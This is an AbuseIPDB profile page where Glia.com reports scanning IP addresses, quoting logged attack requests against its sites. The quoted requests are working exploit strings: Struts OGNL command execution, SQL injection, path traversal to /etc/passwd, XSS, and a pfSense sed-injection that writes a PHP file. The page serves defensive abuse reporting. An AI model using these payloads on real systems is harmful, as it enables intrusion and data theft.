Glia.com - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Glia.com joined AbuseIPDB in July 2021 and has reported 162 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇮🇳 103.85.10.25	23 Sep 2022	"2022-09-13T12:22:53+00:00","103.85.10.25","api.glia.com","GET /visitor_config?referrer=https%3A%2F% ... show more "2022-09-13T12:22:53+00:00","103.85.10.25","api.glia.com","GET /visitor_config?referrer=https%3A%2F%2Fwww.becu.org%2Fmembers-matter%2Fabout-membership&/?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,md5(999999999),1,user()))))--+- HTTP/1.1" show less	Web App Attack
🇵🇰 180.92.143.172	23 Sep 2022	Sep 13, 2022 @ 13:00:22.000 stdout ingress-nginx GET /browser-not-supported.html?cat=static/..%5cetc ... show more Sep 13, 2022 @ 13:00:22.000 stdout ingress-nginx GET /browser-not-supported.html?cat=static/..%5cetc/passwd HTTP/1.1 Sep 13, 2022 @ 14:07:25.000 180.92.143.172 app.salemove.com GET /oauth/warm-and-torrid-yankee-housewife.php HTTP/1.1 show less	Web App Attack
🇳🇱 167.99.34.154	23 Sep 2022	"2022-09-12T02:26:35+00:00","167.99.34.154","test-app.salemove.com","GET /admin/cms_channel.php?del= ... show more "2022-09-12T02:26:35+00:00","167.99.34.154","test-app.salemove.com","GET /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT()%2cCONCAT(0x7e%2cmd5(999999999)%2c0x7e%2cFLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b' HTTP/1.1" show less	Web App Attack
🇮🇳 52.66.8.79	23 Sep 2022	Sep 11, 2022 @ 00:42:10.000 stdout ingress-nginx GET /login.action?redirectAction:${%23a%3d(new%20ja ... show more Sep 11, 2022 @ 00:42:10.000 stdout ingress-nginx GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1 show less	Web App Attack
🇮🇳 13.232.83.99	23 Sep 2022	Sep 10, 2022 @ 01:21:05.000 stdout ingress-nginx GET /wp-admin/admin-ajax.php?action=the_champ_shari ... show more Sep 10, 2022 @ 01:21:05.000 stdout ingress-nginx GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1 show less	Web App Attack
🇮🇳 49.37.201.43	23 Sep 2022	Sep 9, 2022 @ 17:50:59.000 49.37.201.43 api.glia.com GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKe ... show more Sep 9, 2022 @ 17:50:59.000 49.37.201.43 api.glia.com GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00 HTTP/1.1 show less	Web App Attack
🇱🇹 89.40.9.102	21 Sep 2022	Sep 19, 2022 @ 08:23:29.000 stdout ingress-nginx POST /wp-content/plugins/wordfence/lib/wordfenceCla ... show more Sep 19, 2022 @ 08:23:29.000 stdout ingress-nginx POST /wp-content/plugins/wordfence/lib/wordfenceClass.php?file=/../../../../../../etc/passwd HTTP/1.1 Sep 19, 2022 @ 08:23:29.000 stdout ingress-nginx POST /wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php HTTP/1.1 show less	Web App Attack
🇮🇳 13.127.201.201	21 Sep 2022	"2022-09-20T21:13:51+00:00","13.127.201.201","app.glia.eu","GET /login.php HTTP/1.1" "2022-09-20T21 ... show more "2022-09-20T21:13:51+00:00","13.127.201.201","app.glia.eu","GET /login.php HTTP/1.1" "2022-09-20T21:13:09+00:00","13.127.201.201","app.glia.eu","GET /login?redirect=%2F HTTP/1.1" "2022-09-20T21:12:42+00:00","13.127.201.201","app.glia.eu","GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" show less	Web App Attack
🇮🇳 103.161.99.115	29 Aug 2022	Sending thousands of HTTP requests per hour trying to use a JSP exploit.	Brute-Force Web App Attack
🇮🇳 52.66.63.43	01 Aug 2022	Jul 22, 2022 @ 03:39:39.000 stdout ingress-nginx GET /login.action?redirectAction:${%23a%3d(new%20ja ... show more Jul 22, 2022 @ 03:39:39.000 stdout ingress-nginx GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1 show less	Web App Attack
🇮🇳 15.206.157.195	01 Aug 2022	Jul 22, 2022 @ 03:39:39.000 stdout ingress-nginx GET /login.action?redirectAction:${%23a%3d(new%20ja ... show more Jul 22, 2022 @ 03:39:39.000 stdout ingress-nginx GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1 show less	Web App Attack
🇺🇸 45.61.146.242	01 Aug 2022	"app.glia.com","GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.St ... show more "app.glia.com","GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" "2022-07-22T13:09:39+00:00","45.61.146.242",200,"app.glia.com","GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.g show less	Web App Attack
🇸🇬 167.172.83.251	01 Aug 2022	"2022-07-22T21:27:03+00:00","167.172.83.251",200,"test-app.salemove.com","GET /index.php?option=com_ ... show more "2022-07-22T21:27:03+00:00","167.172.83.251",200,"test-app.salemove.com","GET /index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00 HTTP/1.1" "2022-07-22T21:27:03+00:00","167.172.83.251",200,"test-app.salemove.com","GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1" "2022-07-22T21:26:59+00:00","167.172.83.251",200,"test-app.salemove.com","GET /index.php HTTP/1.1" show less	Web App Attack
🇸🇬 157.245.200.184	01 Aug 2022	"2022-07-22T21:05:06+00:00","157.245.200.184",200,"test-app.salemove.eu","GET /index.php?option=com_ ... show more "2022-07-22T21:05:06+00:00","157.245.200.184",200,"test-app.salemove.eu","GET /index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd HTTP/1.1" "2022-07-22T21:05:04+00:00","157.245.200.184",200,"test-app.salemove.eu","GET /index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" show less	Web App Attack
🇸🇬 157.245.206.99	01 Aug 2022	"2022-07-22T21:17:11+00:00","157.245.206.99",200,"test-app.salemove.com","GET /query?db=db&q=SHOW%20 ... show more "2022-07-22T21:17:11+00:00","157.245.206.99",200,"test-app.salemove.com","GET /query?db=db&q=SHOW%20DATABASES HTTP/1.1" "2022-07-22T21:16:36+00:00","157.245.206.99",200,"test-app.salemove.com","GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA show less	Web App Attack
🇮🇳 65.0.134.221	01 Aug 2022	"2022-07-24T00:18:55+00:00","65.0.134.221",200,"app.glia.eu","GET /login.html?returnTo=%3C%2Fscript% ... show more "2022-07-24T00:18:55+00:00","65.0.134.221",200,"app.glia.eu","GET /login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" "2022-07-24T00:18:55+00:00","65.0.134.221",200,"app.glia.eu","GET /login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" "2022-07-24T00:18:54+00:00","65.0.134.221",200,"app.glia.eu","GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.r show less	Web App Attack
🇭🇰 8.21.11.231	01 Aug 2022	"2022-07-26T08:20:11+00:00","8.21.11.231",200,"app.salemove.eu","GET /login.action?redirectAction:${ ... show more "2022-07-26T08:20:11+00:00","8.21.11.231",200,"app.salemove.eu","GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" "2022-07-26T08:20:08+00:00","8.21.11.231",200,"app.salemove.eu","GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony show less	Web App Attack
🇮🇳 13.233.51.249	01 Aug 2022	"2022-07-26T14:35:45+00:00","13.233.51.249",200,"app.glia.eu/login/?uid=%22%3E%3Cscript%3Ealert(docu ... show more "2022-07-26T14:35:45+00:00","13.233.51.249",200,"app.glia.eu/login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" "2022-07-26T14:35:15+00:00","13.233.51.249",200,"app.glia.eu/login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" "2022-07-26T14:35:13+00:00","13.233.51.249",200,"app.glia.eu/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java show less	Web App Attack
🇸🇴 41.79.197.11	01 Aug 2022	"2022-07-28T09:08:34+00:00","41.79.197.11",200,"app.glia.com/login.action?action:${%23a%3d(new%20jav ... show more "2022-07-28T09:08:34+00:00","41.79.197.11",200,"app.glia.com/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" "2022-07-28T09:07:37+00:00","41.79.197.11",200,"app.glia.com/login?next=http://interact.sh/?app.scan/ HTTP/1.1" "2022-07-28T09:05:21+00:00","41.79.197.11",200,"app.glia.com/login HTTP/1.1" show less	Web App Attack
🇸🇬 159.223.75.183	01 Aug 2022	"2022-07-28T20:45:10+00:00","159.223.75.183",200,"app.glia.com","GET /login?next=http://interact.sh/ ... show more "2022-07-28T20:45:10+00:00","159.223.75.183",200,"app.glia.com","GET /login?next=http://interact.sh/?app.scan/ HTTP/1.1" "2022-07-28T20:44:17+00:00","159.223.75.183",200,"app.glia.com","GET /login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" "2022-07-28T20:43:49+00:00","159.223.75.183",200,"app.glia.com","GET /login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" "2022-07-28T20:43:14+00:00","159.223.75.183",200,"app.glia.com","GET /login?redir=http://www.interact.sh HTTP/1.1" "2022-07-28T20:43:11+00:00","159.223.75.183",200,"app.glia.com","GET /login?next=\\\interact.sh HTTP/1.1" show less	Web App Attack
🇮🇳 13.233.128.45	01 Aug 2022	"2022-07-29T14:21:15+00:00","13.233.128.45",200,"app.glia.eu","GET /login?next=\\\interact.sh HTTP/1 ... show more "2022-07-29T14:21:15+00:00","13.233.128.45",200,"app.glia.eu","GET /login?next=\\\interact.sh HTTP/1.1" "2022-07-29T14:21:02+00:00","13.233.128.45",200,"app.glia.eu","GET /login HTTP/1.1" "2022-07-29T14:20:13+00:00","13.233.128.45",200,"app.glia.eu","GET /login HTTP/1.1" "2022-07-29T14:20:05+00:00","13.233.128.45",204,"api.glia.eu","OPTIONS / HTTP/1.1" "2022-07-29T14:20:05+00:00","13.233.128.45",204,"omnibrowse.glia.eu","OPTIONS / HTTP/1.1" "2022-07-29T14:19:42+00:00","13.233.128.45",200,"app.glia.eu","GET /login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" "2022-07-29T14:19:24+00:00","13.233.128.45",200,"app.glia.eu","GET /login HTTP/1.1" "2022-07-29T14:18:35+00:00","13.233.128.45",200,"app.glia.eu","GET /login HTTP/1.1" show less	Web App Attack
🇱🇹 194.135.89.22	01 Aug 2022	HTTP_404,2022-07-02T16:09:11+00:00,194.135.89.22,api.glia.com,GET /api/change_setting?second_value=n ... show more HTTP_404,2022-07-02T16:09:11+00:00,194.135.89.22,api.glia.com,GET /api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd HTTP/1.1 HTTP_301,2022-07-02T16:09:11+00:00,194.135.89.22,developer.glia.com,GET /?id=nuclei%25{128*128} HTTP/1.1 HTTP_301,2022-07-02T16:10:18+00:00,194.135.89.22,developer.glia.com,GET /wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/ HTTP/1.1 HTTP_429,2022-07-02T16:10:19+00:00,194.135.89.22,api.glia.com,GET /pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1 HTTP_429,2022-07-02T16:10:18+00:00,194.135.89.22,app.glia.com,GET /plus/feedback.php/rp4hu%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E?aid=3 HTTP/1.1 HTTP_429,2022-07-02T16:10:19+00:00,194.135.89.22,api.glia.com,GET /wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1 show less	Web App Attack
🇮🇳 27.7.190.201	01 Aug 2022	"time_utc","source_ip","status","target_host","message" "2022-08-01T07:19:44+00:00","27.7.190.201", ... show more "time_utc","source_ip","status","target_host","message" "2022-08-01T07:19:44+00:00","27.7.190.201",301,"support.glia.com","GET /support.sql.tar.z HTTP/1.1" "2022-08-01T07:19:43+00:00","27.7.190.201",301,"support.glia.com","GET /glia.sql.tar.z HTTP/1.1" "2022-08-01T07:19:42+00:00","27.7.190.201",301,"support.glia.com","GET /glia.com.sql.tar.z HTTP/1.1" "2022-08-01T07:19:41+00:00","27.7.190.201",301,"support.glia.com","GET /support.glia.com.sql.tar.z HTTP/1.1" "2022-08-01T07:19:40+00:00","27.7.190.201",301,"support.glia.com","GET /support.sql.z HTTP/1.1" "2022-08-01T07:19:39+00:00","27.7.190.201",301,"support.glia.com","GET /glia.sql.z HTTP/1.1" "2022-08-01T07:19:38+00:00","27.7.190.201",301,"support.glia.com","GET /glia.com.sql.z HTTP/1.1" "2022-08-01T07:19:37+00:00","27.7.190.201",301,"support.glia.com","GET /support.glia.com.sql.z HTTP/1.1" "2022-08-01T07:19:36+00:00","27.7.190.201",301,"support.glia.com","GET /support.sql.zip HTTP/1.1" show less	Web App Attack
🇱🇹 194.135.89.22	18 Jul 2022	Generic vulnerability scan from 194.135.89.22	Hacking Web App Attack
🇮🇳 150.129.29.77	18 Jul 2022	Generic vulnerability scan from 150.129.29.77	Hacking Web App Attack